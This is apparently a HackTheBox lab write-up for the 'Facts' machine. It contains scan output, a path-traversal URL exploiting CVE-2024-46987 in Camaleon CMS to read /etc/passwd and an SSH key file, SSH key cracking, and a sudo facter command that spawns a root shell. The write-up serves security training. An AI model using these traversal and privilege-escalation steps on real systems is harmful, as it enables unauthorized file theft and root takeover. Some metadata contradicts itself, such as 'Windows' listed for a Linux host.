HACKTHEBOX EASY
Kasemsh 2026  ·  Jan 31, 2026

facts

Facts is a medium-difficulty machine that revolves around exploiting a vulnerable CMS hosted on facts.htb. Initial enumeration reveals multiple exposed services, including a web application and SSH. The key to gaining access lies in a path traversal vulnerability within the CMS, allowing authenticated users to download sensitive files. By leveraging this flaw, we can retrieve the SSH private key for the 'trivia' user, crack it, and gain initial access. From there, we can escalate privileges using a misconfigured sudo permission on the 'facter' command.

Category
HackTheBox
Architecture
Windows
Protections
writeup_by
@Kasemsh
facts
Release DateJan 31, 2026
DifficultyEasy [20 pts]
User Blood 0H 15M 52S HTB Badge
Root Blood 0H 26M 34S HTB Badge
Creator HTB Badge
Author HTB Badge

Recon

Nmap

Nmap scan report for 10.129.104.102
Host is up (0.21s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to https://facts.htb/
54321/tcp open  http    Golang net/http server
|_http-server-header: MinIO
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 303
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 188FED1DAC45B5CC
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Sat, 31 Jan 2026 21:11:30 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>188FED1DAC45B5CC</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   GenericLines, Help, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 276
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 188FED198985507A
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Sat, 31 Jan 2026 21:11:12 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>188FED198985507A</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Vary: Origin
|     Date: Sat, 31 Jan 2026 21:11:12 GMT
|_    Content-Length: 0
|_http-title: Did not follow redirect to https://10.129.104.102:9001
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port54321-TCP:V=7.98%I=7%D=1/31%Time=697E6FF2%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,2B0,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nAc
SF:cept-Ranges:\x20bytes\r\nContent-Length:\x20276\r\nContent-Type:\x20app
SF:lication/xml\r\nServer:\x20MinIO\r\nStrict-Transport-Security:\x20max-a
SF:ge=31536000;\x20includeSubDomains\r\nVary:\x20Origin\r\nX-Amz-Id-2:\x20
SF:dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8\r\nX-A
SF:mz-Request-Id:\x20188FED198985507A\r\nX-Content-Type-Options:\x20nosnif
SF:f\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Sat,\x2031\x20Ja
SF:n\x202026\x2021:11:12\x20GMT\r\n\r\n<\?xml\x20version=\"1\.0\"\x20encod
SF:ing=\"UTF-8\"\?>\n<Error><Code>InvalidRequest</Code><Message>Invalid\x2
SF:0Request\x20\(invalid\x20argument\)</Message><Resource>/</Resource><Req
SF:uestId>188FED198985507A</RequestId><HostId>dd9025bab4ad464b049177c95eb6
SF:ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>")%r(HTTPOptions,5
SF:9,"HTTP/1\.0\x20200\x20OK\r\nVary:\x20Origin\r\nDate:\x20Sat,\x2031\x20
SF:Jan\x202026\x2021:11:12\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSP
SF:Request,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
SF:Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo
SF:se\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,2CB,"HTTP/1\.0\x2
SF:0400\x20Bad\x20Request\r\nAccept-Ranges:\x20bytes\r\nContent-Length:\x2
SF:0303\r\nContent-Type:\x20application/xml\r\nServer:\x20MinIO\r\nStrict-
SF:Transport-Security:\x20max-age=31536000;\x20includeSubDomains\r\nVary:\
SF:x20Origin\r\nX-Amz-Id-2:\x20dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af
SF:9251148b658df7ac2e3e8\r\nX-Amz-Request-Id:\x20188FED1DAC45B5CC\r\nX-Con
SF:tent-Type-Options:\x20nosniff\r\nX-Xss-Protection:\x201;\x20mode=block\
SF:r\nDate:\x20Sat,\x2031\x20Jan\x202026\x2021:11:30\x20GMT\r\n\r\n<\?xml\
SF:x20version=\"1\.0\"\x20encoding=\"UTF-8\"\?>\n<Error><Code>InvalidReque
SF:st</Code><Message>Invalid\x20Request\x20\(invalid\x20argument\)</Messag
SF:e><Resource>/nice\x20ports,/Trinity\.txt\.bak</Resource><RequestId>188F
SF:ED1DAC45B5CC</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3f
SF:d1af9251148b658df7ac2e3e8</HostId></Error>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Fuzzing

ffuf -u "https://facts.htb/FUZZ" -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://facts.htb/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

admin                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 766ms]
search                  [Status: 200, Size: 19187, Words: 3276, Lines: 272, Duration: 999ms]
.txt                    [Status: 500, Size: 7918, Words: 1035, Lines: 115, Duration: 1515ms]
.css                    [Status: 500, Size: 7918, Words: 1035, Lines: 115, Duration: 174ms]
.js                     [Status: 200, Size: 1146, Words: 135, Lines: 10, Duration: 368ms]
ajax                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 689ms]
rss                     [Status: 200, Size: 183, Words: 20, Lines: 9, Duration: 1459ms]
.pdf                    [Status: 500, Size: 7918, Words: 1035, Lines: 115, Duration: 1337ms]
page                    [Status: 200, Size: 19593, Words: 3296, Lines: 282, Duration: 1626ms]
error                   [Status: 500, Size: 7918, Words: 1035, Lines: 115, Duration: 1426ms]
404                     [Status: 200, Size: 4836, Words: 832, Lines: 115, Duration: 1365ms]
.gif                    [Status: 500, Size: 7918, Words: 1035, Lines: 115, Duration: 1456ms]
.jpg                    [Status: 500, Size: 7918, Words: 1035, Lines: 115, Duration: 1430ms]

initial access

Create account

Running camaleon cms Version 2.9.0

🐛CVE-2024-46987

A path traversal vulnerability accessible via MediaController’s download_private_file method allows authenticated users to download any file on the web server Camaleon CMS is running on (depending on the file permissions).

Proof of concept:
An authenticated user can download the /etc/passwd file by visiting an URL such as:
https://example.com/admin/media/download_private_file?file=../../../../../../etc/passwd

download passwd to check for available user on the box and we find these users: root, william, trivia

using https://facts.htb/admin/media/download_private_file?file=../../../../../../home/trivia/.ssh/authorized_keys to get authorized_keys to ssh private key name

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHZM0V0cbvqHqATcPwP5GaEDRzqedrZ59SihiPWiKVyJ 

from this we know that ssh key pair type is ed25519 default naming id_ed25519 if it was ssh-rsa when the default naming id_rsa.

we use ssh2john to get the hash and crack it

chmod 600 id_ed25519 && ssh -i id_ed25519 trivia@<TARGET-IP>

Privilege Escalation

running sudo -l

Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

we check GTFOBins for way to abuse facter

TF=$(mktemp -d)
echo 'exec("/bin/bash")' > $TF/x.rb
sudo facter --custom-dir=$TF x

Flags